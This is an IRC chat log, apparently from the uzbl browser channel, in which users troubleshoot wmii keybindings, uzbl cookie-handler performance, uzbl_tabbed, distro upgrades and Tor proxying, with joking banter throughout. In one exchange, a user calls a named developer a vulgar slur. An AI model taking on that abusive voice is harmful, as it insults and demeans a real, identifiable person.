21:33 < holizz> I'd quite like something that supports DBUS notifications, unless there's a daemon that can do that too.
21:33  * jrick didn't really read the scrollback :p
21:34 < holizz> I made this chat fullscreen... wmii users: how do I make it go small again?
21:34 < mlysgaard> Em, i don't think i explained myself good enough. I need to forward the current socket to an external script
21:34 < mlysgaard> holizz: mod d
21:34 < mlysgaard> holizz: d = default
21:35 < holizz> mlysgaard, Which mod? Alt and Super (or was it Meta?) do nothing!
21:35 < krayon> mlysgaard: when the script is called, it provides the socket ($5)
21:35 < mlysgaard> holizz: super
21:35 < mlysgaard> krayon: Thanks ;)
21:36 < holizz> It's not working. I'll have to close the window.
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21:36 < holizz> The noob is me.
21:37 < holizz> Okay. I'll do a full -Syu. If awesome is broken, so be it.
21:38 < mlysgaard> holizz: Hmm.. seems like it has changed
21:38 < mlysgaard> use
21:38 < mlysgaard> <super>-f
21:39 < mlysgaard> same as full screen
21:39 < mlysgaard> holizz: Befor it was a mode approach, now it seems like it's changed to a toggle
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21:48 < krayon> holizz: I'm sorry I told you about the new libwebkit version :(
21:48 < holizz> That's okay. wmii seems to act a lot like awesome.
21:50 < krayon> I finish work in 3 hours :) Finish my 76 hour oncall shift.
21:52 < Dieterbe> holizz: except that awesome is kind of bloated, and wmii isn't :)
21:52 < Dieterbe> holizz: and i don't find awesome as awesome as the name would imply
21:52 < mlysgaard> is there any overwiev of the arguments sent to a shell script from uzbl anywhere?
21:53 < holizz> mlysgaard, README
21:53 < mlysgaard> holizz: :s
21:55 < Dieterbe> aka rtfm!
21:55 < holizz> Dieterbe, And how do I reload my wmiirc?
21:55 < Dieterbe> super+a gives you the actions dmenu
21:55 < Dieterbe> pick rehash
21:56 < holizz> It doesn't seem to work. My wmiirc should be in .wmii-3.5/, right?
21:56 < holizz> The man page is sparse on details, it would seem.
21:57 < Dieterbe> yeah ~/.wmii-3.5
21:59 < holizz> "Please don't ask the wmii developers to use autoconf, they won't listen to you."
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22:21 < holizz> Okay. Let's reboot just to make sure there are no surprises tomorrow morning.
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22:28 < _stack> hi, I'm trying to install the uzb_tabbed plugin , I'm reading this link http://www.uzbl.org/wiki/uzbl_tabbed but I'm not able to understand how to effectively load the plugin, any suggestion?
22:29 < Dieterbe> python uzbl_tabbed.py
22:30 < _stack> is there a way to make uzbl automatically load it via config file?
22:31 < lwithers> _stack: why do you need to do that? just execute the python program, that should be enough shouldn't it?
22:31 < lwithers> or you could make a script or alias if you just want 'uzbl' at the shell to launch it
22:32 < _stack> I saw lines like this set history_handler  = spawn $HOME/.uzbl/scripts/history.sh
22:32 < Dieterbe> _stack: uzbl_tabbed is not a plugin for uzbl. it's a program that wraps around uzbl
22:32 < _stack> in the config file, so I thought that it was a way to do that
22:32 < _stack> Dieterbe: ah ok thansk
22:32 < _stack> now it's clear
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22:38 < _stack> and how do I open a link in a new tab? :)
22:38 < _stack> for example the middle-click in firefox
22:41 < holizz> _stack, You can only do that with mason-l's very latest uzbl_tabbed.py.
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22:42 < _stack> where do I get it?
22:44 < Dieterbe> holizz: you sure? i merged from him a few hours ago
22:44 < holizz> mason-l posted a link to a gist with the important part somewhere up. If you got here recently, there might be a log, or ask somebody else.
22:44 < holizz> Dieterbe, I think he said he'd sort out his changes when he got home.
22:44 < Dieterbe> oh, ok
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22:59 < holizz> wmii is opaque. In the end I resorted to cp /etc/wmii-3.5/wmiirc .wmii-3.5, s/Mod1/Mod4/
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23:04 < schmx> hello #uzbl. Just trying out your browser here. And I am wonder how I get something like with firefox that asks me about accepting cookies etc?
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23:05 < gkelly> account on
23:05 < gkelly> Oops. Wrong window.
23:06 < ajhager> schmx: If you look at the examples, there should be a hook and example script for handling cookies.
23:06 < schmx> hmm.. I seem to have just one example in the install. I'll look there :)
23:06 < ajhager> schmx: Then you could use dmenu or zenity to prompt you in the cookie script
23:06 < schmx> oh yeah. cookie_handler
23:06 < schmx> cool beans.
23:06 < Rodya> console message:  @1: Unsafe JavaScript attempt to access frame with URL http://bt.xabin.eu/ from frame with URL http://xabin.mine.nu/gg-tracker/. Domains, protocols and ports must match.
23:07 < Rodya> then it segfaults
23:07 < Rodya> lovely
23:07 < Rodya> (happens when inspecting the page)
23:08 < schmx> Also I was wondering if someone had some good suggestions for adblocking?  I'm thinking privoxy on a server here, but I'm worried about what it will do to my browsing speed.
23:08 < Rodya> schmx, i use privoxy
23:08 < Rodya> seems plenty fast to me
23:09 < schmx> Right. Problem as I see it is that the only one machine I have running at all time is not the fastest in the world, and all my other boxes would have to use that.
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23:09 < github> uzbl: Dieter Plaetinck experimental SHA1-e0a3e5e
23:09 < github> so kwin also has tabs. and looking pretty good actually
23:09 < github> http://bit.ly/uNbSm
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23:09 < schmx> Well I'll give it a try.
23:09 < Rodya> i have privoxy running on a intel atom 230 mini-itx machine with 512 MB of ram as well as lighttpd, tor, irssi, mpd, and named, and all of these are plenty fast
23:10 < schmx> Rodya: right. This is a 266MHz IXP420 with 32MB RAM.
23:10 < schmx> so it's not quite the same ;)
23:10 < scj> dude
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23:10 < Rodya> schmx, fair enough, but privoxy isn't very processor intensive in my experience, this box runs at < 1% most of the time
23:11 < schmx> Rodya: Yeah. I'll give it a go.
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23:22 < Dieterbe> allright ladies
23:23 < Dieterbe> see you tomorrow
23:23 < barrucadu> bye
23:24 < holizz> Night.
23:27 < holizz> Okay, so I'm getting rid of Arch tomorrow.
23:27 < barrucadu> :O
23:27 < barrucadu> Blasphemy
23:27 < holizz> X has decided to do that thing where it looks like it smudges your pixels around on the screen.
23:28 < holizz> That's the second time today I've been accused of blasphemy. It's a damn good thing I don't live in Ireland.
23:28 < barrucadu> What caused the first? :p
23:29 < holizz> -Syu
23:29 < barrucadu> Your daily quota of Arch-related blasphemy has been exceeded massively. Go directly to jail. Do not pass Go. Do not collect £200.
23:30 < holizz> I'd been holding off for ages because the new awesome was broken. But then I upgraded libwebkit and that upgraded one of the four packages I was holding back to prevent the new awesome from breaking.
23:30 < holizz> So I decided "what's the worst that could happen", and I did an -Syu and switched to wmii.
23:31 < holizz> And a few weeks back I upgraded libreadline... AND THAT BROKE PACMAN
23:31 < holizz> So I hastily scp'd an older libreadline from another machine, and that fixed the problem.
23:32 < holizz> So I'm not very happy with Arch.
23:33 < barrucadu> I think I've got an old libreadline lib lurking somewhere… I'm not sure what broke in the upgrade, but I have a vague recollection that it was important…
23:33 < barrucadu> Oh, yes, zsh.
23:36 < holizz> This is what I mean when I say smudged pixels: http://holizz.com/f/2009-07-19_ffs-arch.png
23:36 < holizz> Is there a term for that?
23:36 < schmx> woah.
23:37 < schmx> holizz: I hear slackware is a good alternative to arch
23:38 < holizz> schmx, No dependancy checking? No thank you!
23:38 < schmx> eh who needs it.
23:39 < schmx> Just use a package manager :)
23:39 < schmx> swaret or some such.
23:39 < holizz> I want to be able to sudo aptitude install uzbl, and have it install libwebkit, gtk, X, and the kitchen sink.
23:40 < schmx> so slapt-get, or one of the others.
23:40 < holizz> Everything except the -dev packages <-- most annoying thing about Debian.
23:40 < schmx> I also thinks swaret does that for you.
23:40 < krayon> holizz: Unfortunately on debian based systems that'd fail with a "never heard of libwebkit as it was developed later than 1995"
23:40 < holizz> Hmm. I might have a look at it.
23:40 < krayon> :P
23:41 < krayon> holizz: My housemate runs debian testing and it's not so bad.  Packages aren't that old
23:41 < schmx> holizz: it also has something much like AUR.
23:41 < holizz> krayon, Don't be silly! You have to dist-upgrade to unstable before you find the packages that were build sooner than 2006.
23:41 < krayon> I thtink they had libwebkit 1.1.0 or something
23:42 < schmx> or you know.. just netbsd.
23:43 < krayon> lfs
23:43 < holizz> schmx, I used OpenBSD for a while. But it didn't support my sound card... and then one time they made a new release and it stopped supporting my laptop entirely. So I went back to the only OS with good hardware support.
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23:43 < schmx> holizz: WindowsXP ?
23:43 < schmx> holizz: The problem with OpenBSD is that it's hellaslow.
23:43 < krayon> holizz: BeOS?
23:44 < holizz> krayon, BeOS support hardware?
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23:44 < krayon> I think so, well, some, well, one, maybe.
23:44 < holizz> schmx, But it's oh-so-secure.
23:44 < schmx> holizz: Not really. But ok :)
23:45 < holizz> schmx, It's secure if you don't install anything.
23:45 < krayon> damnit... i ran xsetroot and now my cursor is "X" :(
23:45 < schmx> holizz: What does one do when one sets up openbsd? Exactly.. you pull stuff from the freebsd and netbsd ports tree to get up to date versions, and get more than the 5000 packages.
23:45 < schmx> holizz: Well yes, of course. :)
23:46 < holizz> krayon, That's my favourite cursor. Not to use... but it looks pretty.
23:46 < krayon> hhaha
23:46 < schmx> krayon: "unclutter" is your friend.
23:46 < krayon> Oh yeah.
23:46 < schmx> this uzbl takes some learning when switching from ff.
23:46 < schmx> Also it seems to load pages slower for me :(
23:48 < holizz> schmx, That'll be the cookies.
23:48 < schmx> the cookies?
23:48 < holizz> Executing a script for every resource on a Web page = SLOW.
23:48 < schmx> This is bad news.
23:48 < holizz> That's what uzbl does.
23:49 < schmx> I much switched because I was told it was fast :S
23:49 < holizz> I use my own branch which uses a LibSoup FileCookieJar to store the cookies.
23:49 < schmx> No idea what that is :)
23:50 < holizz> schmx, It's not a shellout 100 times per page.
23:50 < schmx> That's great though.
23:51 < schmx> Does it give you a nice lil' popup like ff ? :)
23:51 < schmx> I guess one could hook it all up with sqlite or some such.
23:52 < holizz> Popup?
23:52 < schmx> yeah.
23:53 < schmx> When I go to a site ff asks me "hey man, this site is trying to set a cookie. Is that ok?"
23:53 < schmx> and it remembers the reply too.
23:53 < schmx> same for modifying cookies.
23:53 < holizz> Ah. Nah. You can do that yourself.
23:53 < holizz> cookies.py is the way to go.
23:53 < schmx> Yes.. just seems.. not so nice with calling a shellscript like that for cookies.
23:53 < schmx> I mean with the speed and all.
23:54 < schmx> right.. Or I rewrite it in some sane language ;)
23:54  * schmx <- not a big python fan.
23:57 < krayon> holizz: How does the CookieJar thing avoid the frequest calls?
23:57 < holizz> schmx, I think the biggest bottleneck is that it's a shellout, not the language being used.
23:57 < schmx> holizz: indeed.
23:57 < krayon> I'm interested in having cookies ... I guess... but don't want that slowness
23:57 < holizz> krayon, It avoids the calls by not making them.
23:57 < schmx> holizz: But it gets cached I'm sure.
23:57 < krayon> holizz: then how does it still work? does it plugin to webkit or something?
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23:58 < schmx> change the shellout to calls to library calls.
23:58 < schmx> sounds about right ;)
23:58 < schmx> "calls to library calls"
23:58 < schmx> *sigh*
23:58 < holizz> krayon, FileCookieJar reads cookies from a file when uzbl opens, and writes them when uzbl exits. It works approximately as well as cookies.rb does - i.e. not as well as cookies.py.
23:59 < holizz> schmx, Wait until Dieterbe wakes up and hears your proposal ;)
23:59 < krayon> Ah so it's compiled into uzbl?
23:59 < schmx> exec?() is kinda expensive and all. makes a lot of sense.
23:59 < schmx> holizz: It is not a proposal for keeping in uzbl.. just on a seperate branch.
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00:00 < holizz> Aha. Well that's fine.
00:00 < lwithers> execve(2) not so bad, but launching a python interpreter is -- a C rewrite of the same could be a lot faster
00:00 < schmx> Just like that. keepin' 'em all in memory, and letting something linked in code handling it all.
00:01 < schmx> not convinced launching python is such a biggie either. it gets cached :)
00:01 < schmx> Oh well.
00:01 < lwithers> is there actually a consensus about improving cookie performance?
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00:01 < schmx> for now I'll just live with the 0.1 imaginary seconds it takes longer.
00:02 < holizz> lwithers, The consensus is that something should be done about it.
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00:03 < lwithers> well, I know a bit of C, and I'd like to help -- but don't want to bark up the wrong tree
00:04 < lwithers> but a daemon that uzbl communicates with to hand off cookie operations sounds like something I can manage
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00:04 < schmx> Hoh. I just want it all internal.  I don't think there is much gain from IPC or any other communication with a daemon :)
00:05 < schmx> but it has a big fun factor!
00:05 < holizz> lwithers, It exists... but it uses a shell script to communicate with the daemon.
00:05 < schmx> hehehe.
00:05 < lwithers> I guess the reason it's not internal is that it then cannot be configured nicely -- is that right?
00:06 < schmx> I thought it was "the unix philosophy" thing :)
00:06 < lwithers> if it has to go through some external hook, then in theory that external component can be replaced
00:06 < lwithers> (which is the unix philosophy, at least AIUI)
00:06 < schmx> I find the lack of bookmarks and all in uzbl extremely attractive. It's totally nice.
00:06 < schmx> just the cookies puzzles me. such an integral part to webapps.
00:06 < schmx> Ah well :)
00:07 < schmx> Hey I should do this more often. Use a program for two minutes and bitch about it ;)
00:07 < lwithers> holizz: so what is this daemon then, and why must a shell script be used to communicate with it?
00:07 < barrucadu> schmx: You could even do it on a blog! :p
00:07 < holizz> schmx, I made the argument that cookies were so fundamental we should be doing them internally, or at least have the option. But that was vetoed.
00:07 < schmx> hahaha
00:08 < schmx> holizz: :(
00:08 < holizz> lwithers, Because it uses the vanilla uzbl.
00:09 < Rodya> what i get a kick out of is that, when i comment out the cookie handler line in my config and start uzbl, it crashes >.>
00:09 < lwithers> would you mind explaining a little please? :)
00:09 < krayon> I think a nice little cookie handler written in C that runs is good ... that's what I'm going to do probably anyway
00:09 < schmx> krayon: go go go!
00:10 < krayon> Really all you need to do is offer sending cookies through a socket or something as an alternative no?
00:10 < holizz> Cookies daemon: https://bitbucket.org/bobf/uzbld/
00:12 < schmx> oh bobf
00:12 < holizz> lwithers, It uses the vanilla uzbl therefore the only way to deal with cookies is through a script. I think the idea is to get uzbl itself doing the IPC, rather than shelling out.
00:12 < schmx> he's a bit of a cunt.
00:12 < schmx> bob_f: you cunt!
00:13 < lwithers> holizz: yes I see
00:18 < krayon> Don't see what's wrong with having a cookie socket or something.
00:19 < lwithers> krayon: as I understand it, that's the missing link here
00:19 < lwithers> this daemon has some IPC protocol which, hopefully, is general enough to be accepted as a good "cookie socket protocol"
00:20 < lwithers> what remains is for somebody to implement in in uzbl.c
00:20 < lwithers> think I got that right :)
00:20 < krayon> you could even have definable sockets in the conf rather than 1 generic one
00:20 < krayon> you could still communicate the same way pretty much
00:22 < krayon> but being a C zealot I'd reimplement cookie handling ... AGAIN
00:22 < krayon> so there's 1 or 2 python ones, a ruby on rails, a bash and then their'd be a C one too :P
00:22 < krayon> all about the choice my brothers
00:23 < lwithers> as long as it's abstracted through an IPC mechanism, the implementation of the daemon wouldn't matter and could be changed at will
00:25 < holizz> Ruby on Rails :D
00:25 < holizz> Use Ruby on Rails... and send POST requests for IPC.
00:27 < lwithers> not convinced that would give you efficiency savings
00:27 < holizz> What are you talking about? Ruby isn't known for being slow... at all.
00:28 < holizz> There's a print command in the config file... so if you could make a print_to_fifo function... and then give it the positional arguments... that might be a way to do IPC.
00:29 < holizz> lwithers, If you want to see uzbl done right, take a look at http://github.com/holizz/pyweb.
00:29 < holizz> That's going to have a sensible cookie handler. Just as soon as I figure out what that would look like.
00:31 < lwithers> uzbl done right would use qt-webkit rather than this gtk crap but OK :) just my opinion!
00:31 < holizz> cookielib has an SQLite CookieJar, so maybe if I cookies.py + SQLite.
00:31 < holizz> Yeah, like Qt will ever catch on.
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00:33 < _stack> hi, I don't understand why when I try to login to an account it says that I have cookies disabled, for example into a google account.
00:33 < lwithers> tbh i'd be a lot happier with gtk if I could figure out how to undo the *insane* drop-down boxes and how to put ok/cancel buttons the other way round...
00:34 < holizz> _stack, What cookie_handler are you using?
00:34 < _stack> first the "default" one and now this one http://nochair.net/cgi-bin/cgit/uzbl-scripts/about/
00:36 < holizz> Wow. I wasn't aware of that.
00:38 < schmx> heh
00:38 < schmx> dbus :D
00:39 < holizz> I can't clone it. git daemon isn't running, and the HTTP clone URI seems to be an HTML page.
00:41 < _stack> http://nochair.net/cgi-bin/cgit/uzbl-scripts/snapshot/uzbl-scripts-f88d402b9ddb337c98237efd424ee6ff90c1b987.zip
00:43 < _stack> google mail says Your browser's cookie functionality is turned off. Please turn it on. [?]
00:43 < _stack> :\
00:44 < holizz> I see your problem. cookiejarred is based on the old cookies.py.
00:45 < holizz> If you take the new cookies.py and do what that person did to it to arrive at cookiejarred, it should work.
00:46 < _stack> where do I get it?
00:46 < holizz> It's in Dieterbe/experimental.
00:47 < holizz> So examples/data/uzbl/scripts/cookies.py.
00:47 < holizz> Just make sure it's not the old version.
00:48 < krayon> omg this python infection is certainly spreading
00:49 < holizz> I take full responsibility. I wrote cookies.py and that's the second cookies script that's used it.
00:49 < schmx> krayon: It hurts one in the soul.
00:50 < schmx> krayon: Where the little inner child sits screaming "please, can we not just do it all in assembly like when we were young?"
00:50 < scj> go ahead
00:50 < _stack> I downloaded the new script from git, but now it behaves differently, the gmail page redirects me to the same login page
00:50 < schmx> now to build me some uzbl :)
00:50 < holizz> Would now be a bad time to admit that I attended EuroPython this year?
00:51 < krayon> haha
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00:51 < krayon> I hear it's a good language to start with.
00:51 < schmx> I disagree wholeheartedly with that.
00:51 < holizz> krayon, Was that an insult?
00:52 < holizz> schmx, But it has a turtle library! turtle!
00:52 < schmx> I have not a clue what a turtle library is :)
00:52 < krayon> holizz: Not at all.  It's just what I've heard.  It doesn't seem to bad from what I've seen (except this of course: http://stackoverflow.com/questions/1132941/least-astonishment-in-python-the-mutable-default-argument ) but I personally MUCH prefer C.
00:53 < holizz> schmx, You know, the only thing Logo was ever used for. Turtles!
00:53 < schmx> I have nothing at all against python, I just can't stand using it. As for good language to start with then there is asm.
00:53 < schmx> holizz: hmm.. I think I need to google this turtle lib.
00:53 < schmx> C also, can't stand it :P
00:54 < schmx> I like turtles.
00:54 < krayon> schmx: hahaa I would agree (and have said so myself in the past) actually.
00:54 < schmx> that you like turtles?
00:54 < schmx> (:
00:55 < krayon> schmx: That asm makes a good beginning as it's simple, and easy to understand.
00:55 < holizz> C was almost my first language. I even have a qualification in it.
00:55 < Rodya> <3 C
00:55 < schmx> I think my first was 6502 assembly. ;)
00:56 < krayon> holizz: So what makes you use python now?
00:56 < holizz> "Coding and Programming in C level 2 (City & Guilds) // Bradford College // 2001" is what my CV says.
00:56 < schmx> What makes people use C now?:)
00:56 < holizz> My first qualification.
00:56 < schmx> woho!
00:57 < krayon> schmx: It can be quicker :P
00:57 < lwithers> schmx: efficiency of implementation, which is particularly important in kernelspace and for embedded systems; more so for microcontrollers
00:57 < schmx> I guess.. it depends on what you compare it to.
00:57 < holizz> krayon, Well I discovered just how hard repeatedly concatenating a string in C was today. Gah.
00:57 < lwithers> also, it's just what some people are good at writing
00:57 < schmx> lwithers: but forth is so much nicer for all those things.
00:58 < schmx> I used to like C. dunno. can't stand it.
00:58 < holizz> krayon, It's just generally easier to do things in Python. Things tend to take 1 line rather than 10.
00:58 < schmx> it's so.. not nice :(
00:58 < lwithers> schmx: C seems to get the right balance between structure and ability to just get on with things. Forth doesn't
00:58 < schmx> holizz: do 'em in lisp like a sane person :)
00:58 < schmx> lwithers: hoh. I find things to be quite the opposite of that :)
00:59 < schmx> but it's all good (:
00:59 < lwithers> :) at work we have a variety of embedded products. One is written in Forth. Perhaps it's just the implementation, but it's pretty awful to work with
00:59 < schmx> What counts at the end of the day is that code gets written and is licensed under BSD and not GPL;)
00:59 < lwithers> whereas the C ones are at least pretty sane judging by customer feedback
00:59 < holizz> schmx, Well that's what I did, but when I tried to make uzbl.c it gave me some compiler error. No idea why. Perhaps gcc doesn't support Lisp.
00:59 < schmx> lwithers: Could be
00:59 < schmx> holizz: ahahah :)
01:00 < krayon> @ my work, the worst stuff is the stuff written in Java :S
01:00 < schmx> At my work we don't actually have computers ;)
01:00 < lwithers> I would agree
01:00 < krayon> I'm looking at moving to D, it's website says it's good so I figure I can't loose.
01:00 < lwithers> wouldn't really happen for us, don't think Java runs on anything sub-1W (not real java anyway)
01:01 < schmx> krayon: if the website says it is good, then it must be true. the internet does not lie :)
01:01 < krayon> schmx: As specially the website of the product!  I find they always have my best interests at heart :P
01:02 < krayon> lwithers: Ah, well these are just front ends for C++ backends that do crewing and rostering for airlines.  So they're just front ends from what I understand but they are heavy and dodgy.
01:02 < krayon> The C++ backends run fine :)
01:03 < lwithers> aye sounds about right
01:03 < krayon> Oh and IBM manages all these servers, and they use Java for their monitoring software.
01:03 < krayon> So they monitor system performance, cpu usage, memory etc... using Java apps :S
01:03 < schmx> Sounds good.
01:04 < krayon> Yeah except that they are the ones using the resources.
01:04 < krayon> :P
01:04  * holizz is envious of employed people
01:04 < schmx> :(
01:04 < lwithers> well, it's all about the right tool for the job
01:04 < krayon> holizz: My jobs the best.  I work 1 week 9-5, the next 5-9 (oncall only) and then 1 week off.
01:04 < schmx> yup. rite tool is the best.
01:05 < schmx> krayon: I have a good friend who works two weeks, then 3 weeks off.  Really good pay too. Seems better (:
01:05 < krayon> holizz: And no Windows... but aren't you studying atm anyway?
01:05 < krayon> schmx: ohhh, maybe you win then.
01:05 < krayon> But, this week I was on call and only got 3 calls I think all week.
01:06 < schmx> krayon: offshore oil thing. I think it's related to risking ones life :)
01:06 < krayon> So I actually only "worked" about 4 hours maybe.
01:06 < holizz> krayon, Nope. I got off that bandwagon a few months back. Not really of my own volition, but I was fairly happy about the outcome.
01:06 < schmx> sweet
01:07 < holizz> I was going to apply for some jobs today... but I applied for one and then made 5 commits to uzbl. Ooops!
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01:07 < holizz> But it was a good job, in Prague.
01:07 < schmx> That's a nice city.
01:08 < schmx> best of luck with the job :)
01:08 < holizz> Yeah, everybody's been telling me that so I decided to specifically look for jobs in Prague.
01:08 < krayon> holizz: At least you have your priorities straight :P
01:09 < holizz> schmx, Thanks. I got quite far with an applicaiton to Opera, but they turned me down recently. :(
01:10 < holizz> krayon, No, it's an addiction. I should go to China and get electro-convulsive therapy to cure it.
01:11 < krayon> It sucks that people like you aren't employed and yet I have to deal with IDIOTS @ IBM
01:12 < holizz> krayon, Why don't you convince the idiots of this fact, and they can have my job (dole dosser), and I can have theirs.
01:12 < krayon> I think they have an intelligence bar that says "You have to be at least THIS stupid to work here"
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01:14 < krayon> holizz: I try :P
01:16 < schmx> Hmm.. I seem to be having issues with my bank + uzbl.
01:16 < holizz> schmx, Which bank?
01:16 < schmx> handelsbanken
01:16 < schmx> hah
01:16 < schmx> I need to get into the online thing.
01:18 < schmx> oh well.
01:18 < holizz> Hmm. I can't really test logging into somebody else's bank's Web site.
01:19 < holizz> Give me your login details and I'll find out what the problem is.
01:19 < Rodya> lol
01:19 < schmx> Yeah. thanks.
01:19 < schmx> Also my IP@ and root passwds?
01:19 < holizz> The charge will be ALL YOUR MONEY per hour.
01:19 < schmx> IP# too.
01:19 < schmx> I hope it does not take many hours :(
01:20 < holizz> schmx, After the first hour it's free ;)
01:20 < schmx> Well there is no money there anyway.
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01:24 < schmx> Ok. you seem like an interesting bunch of people. Now I must go to bed so I can take care of my clients tomorrow. Good night to all.
01:27 < holizz> Night night!
01:33 < holizz> I'm going to bed too.
01:34 < holizz> Later insomiacs, Internet addicts, and people in other time zones.
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02:38 < singpolyma> Does uzbl support provies (HTTP or SOCKS), specifically for tor?
02:38 < krayon> singpolyma: There is proxy support, check out the example configs
02:39 < krayon> I haven't used it though so I don't know if it'll work with tor
02:40 < Rodya> works fine with tor
02:40 < Rodya> well, works fine with pointing it at privoxy and privoxy pointed at tor
02:40 < Rodya> haven't tried it with just tor
02:43 < singpolyma> Ok, cool :)
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02:49 < singpolyma> Hmm, ok, so I found the setting. It says something about SOCKS in the comment, but Tor says uzbl is trying to talk to it like to an HTTP proxy
02:51 < singpolyma> through privoxy works fine :)
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07:33 < ruskie> hmm the password entry dialog lacks a unique identifier for it's window... would be nice to have something like uzbl password entry
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09:06 < Dieterbe> good morning bitchiiiiiz
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11:52 < rob|> hey guys..
11:53 < ruskie> lo
11:54 < ruskie> hmm with the new handling how can one have the statusbar msg back? also how does one input [ ] I'm kinda missing that looking at the example one \@[...]\@ I don't get it
11:56 < Dieterbe> heya
11:57 < Dieterbe> ruskie: re: statusbar message: MSG is now statusbar_message or something like that, see example config
11:58 < Dieterbe> '[' character inside statusbar_message should work i think 
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12:01 < rob|> btw, there is an error in the README. the 'mode' variables denotes wether we're in command or html mode (not command and insert mode!)
12:02 < Dieterbe> oh
12:02 < Dieterbe> my mistake
12:02  * Dieterbe adds to todo
12:03 < rob|> also, i finally made the move to the new appartment. everything's still full with boxes and stuff :(
12:03 < rob|> but i got internet today :))
12:04 < Dieterbe> congrats!
12:04 < rob|> 32/2 Mbit  and it seems to really rock :)
12:05 < Dieterbe> whoa that's fast
12:06 < rob|> hell, yes! :P
12:08 < Dieterbe> i take it the address you gave me a while ago is the one for the new app already?
12:08 < rob|> yep, right
12:23 < ruskie> Dieterbe, ahh it's status_message
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12:45 < holizz> I have a sandwich therefore it is time to install Debian. See y'all later.
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12:48 < _stack> hi , I'm using uzbl_tabbed, how could I make that ctrl+click opens the link in a new tab?
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12:58 < holizz> WTF? Debian can't find my ethernet...
12:59 < holizz> What distros do you all recommend that aren't Arch?
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13:00 < _stack> debian :P
13:00 < Dieterbe> holizz: btw the screenie you posted , couldn't that be a hardware problem?
13:01 < holizz> I thought Debian was supposed to be nice and stable and well-tested.
13:01 < Dieterbe> ruskie: do you have a distro recommendation for our friend holizz ? ;)
13:01 < holizz> Dieterbe, Everything works -> -Syu -> X doesn't work, awesome doesn't work.
13:01 < ruskie> holizz, what are you looking for? binary or source?
13:01 < Dieterbe> holizz: oh boohoo :)
13:02 < Dieterbe> holizz: diff xorg.conf xorg.conf.pacnew?
13:02 < holizz> ruskie, Binary. I don't have the time or the processing power to be compiling.
13:02 < Dieterbe> i would stick to arch if i were you
13:02 < holizz> There isn't an xorg.conf.pacnew.
13:02 < Dieterbe> pacsave then?=
13:03 < holizz> Dieterbe, There's only xorg.conf.
13:04 < ruskie> hmm slackware?
13:04 < ruskie> that seems to run reliably
13:04 < holizz> Why not. I've never tried Slackware as my main OS.
13:05 < Dieterbe> holizz: then you file a bug :)
13:05 < Dieterbe> or look for existing bugs
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13:06 < holizz> Dieterbe, Does Arch have a bug tracker?
13:07 < Dieterbe> of course..
13:09 < mason-l> Hey gusy
13:09 < mason-l> 'guys
13:09 < holizz> Hello.
13:10 < mason-l> Hey holizz, I'm going to clean up that new_window handler support for uzbl_tabbed and upload it soon :)
13:11 < Dieterbe> hmm i think there's also a pending merge for that in uzbl.c
13:12 < Dieterbe> s/that/related to new window stuff/
13:14 < holizz> mason-l, I can't wait (not that I use uzbl_tabbed... but it'll be good).
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13:29 < _stack> http://www.uzbl.org/wiki/scroll-percentage does anyone has this script working?I've followed the guide in the bottom page but I don't se any vim like percentage
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13:29 < holizz> _stack, works fine for me. But krayon couldn't make it work either.
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13:33 < _stack> ah , my fault I had two load commit handler
13:33 < _stack> but say if I want to put another function as commit handler, could I put it in the same file as this one?
13:34 < _stack> for example I also want this one http://www.uzbl.org/wiki/middle_click_links
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13:40 < holizz> set load_commit_handler = chain 'script foobar.js' 'sh foobar'
13:50 < mason-l> holizz, I've committed the changes can you test out the script for me also? It can be found in my latest experimental http://github.com/mason-larobina/uzbl/tree/experimental
13:52 < holizz> mason-l, No problem. Hey, have you got favicons working in uzbl_tabbed yet? (i.e. setting uzbl_tabbed icon to what a particular instance of uzbl's icon is set to)
13:54 < mason-l> holizz, I havent looked into it. It will require manual fetching of the current tabs domains favicon though wont it?
13:54 < mason-l> My next (long running) uzbl feature is tablist overflowing and dynamic ellipsising.
13:55 < holizz> mason-l, Yeah, you'll probably have to query each instance of uzbl every time you switch.
13:55 < mason-l> I can cache them easily enough also.
13:57 < holizz> "Problem occurred while loading the URL http://bugs.archlinux.org/newtask/proj1" Damn it, flyspray!
13:58 < mason-l> <_stack> and how do I open a link in a new tab? :)
13:58 < mason-l> <_stack> for example the middle-click in firefox
13:59 < mason-l> _stack, You might like to try out the latest uzbl_tabbed.py from http://github.com/mason-larobina/uzbl/tree/experimental
13:59 < mason-l> Right now it doesnt support middle-clicking-links though.
14:00 < _stack> mason-l: I use it right now ;) thanks
14:00 < _stack> (I'm using it)
14:00 < mason-l> _stack, Working for you?
14:01 < _stack> yes but I'm not sure it is the experimental version.
14:04 < _stack> http://pastebin.com/f5b3e5642 yes I think it is that one
14:04 < _stack> from yesterday maybe :)
14:05 < _stack> It whould be useful to hide also the bar and navigate with a sort of arrow(but I saw this feature in the TODO list ;) )
14:07 < _stack> ah 22 min ago a commit :)
14:07  * _stack downloads the new version ;)
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14:10 < _stack> wow, now middle clicking opens a new tab :D
14:21 < mason-l> _stack, :D
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15:23 < _stack> mhhh, with tabs uzbl does not recognize the previous session , opening the same link in all tabs.
15:28 < Dieterbe> you mean kwin tabs?
15:28 < Dieterbe> fluxbox tabs?
15:28 < Dieterbe> xmonad tabs?
15:28 < _stack> uzbl tabs
15:30 < Dieterbe> uzbl has no tabs
15:30 < _stack> you are right, but I'm using uzb_tabbed script to sorround uzbl with tabs
15:31 < Dieterbe> oh. can't help you with that
15:32 < Dieterbe> (ps i knew what you meant from the beginning, i was just messing with you :-)
15:32 < _stack> yes I understanded that :P
15:32  * Rodya was wondering if Dieterbe was being an ass or suffering from amnesia
15:32 < Rodya> =P
15:33 < Dieterbe> just remember uzbl_tabbed.py is not "officially supported"
15:34 < Rodya> speaking of officially supported, i found something interesting
15:34 < mason-l> _stack, I can help
15:34 < mason-l> (as the author)
15:35 < Rodya> if the url uzbl thinks its at differs from some internal url, javascript stuff involving the urls on the page breaks
15:35 < Rodya> i can give an example in a sec
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15:36 < Rodya> if you go to bt.xabin.eu, right click on the background and select Inspect Element, i get a segfault and an error message
15:36 < _stack> mason-l: is that normal that if I close uzbl not with the common ZZ , then reopening it all the tabs are opened with the last focused page?
15:36 < mason-l> _stack, Not normal and I've just noticed it myself. I'm hard at work on the solution.
15:36 < Rodya> also, my batch download script, when run, gets no uris from the javascript method (function?) i use to get them
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15:42 < _stack> mason-l: what is the cause of this "bug" ?
15:42 < Dieterbe> Rodya: actually nothing is officially supported, in theory. as we use GPL :P
15:43 < mason-l> I would say somethings changed about how uzbl takes the --url argument I think.
15:43 < mason-l> correction: --uri
15:43 < Rodya> Dieterbe, in that case, shall i just print my bug reports and eat them rather than report them? =P
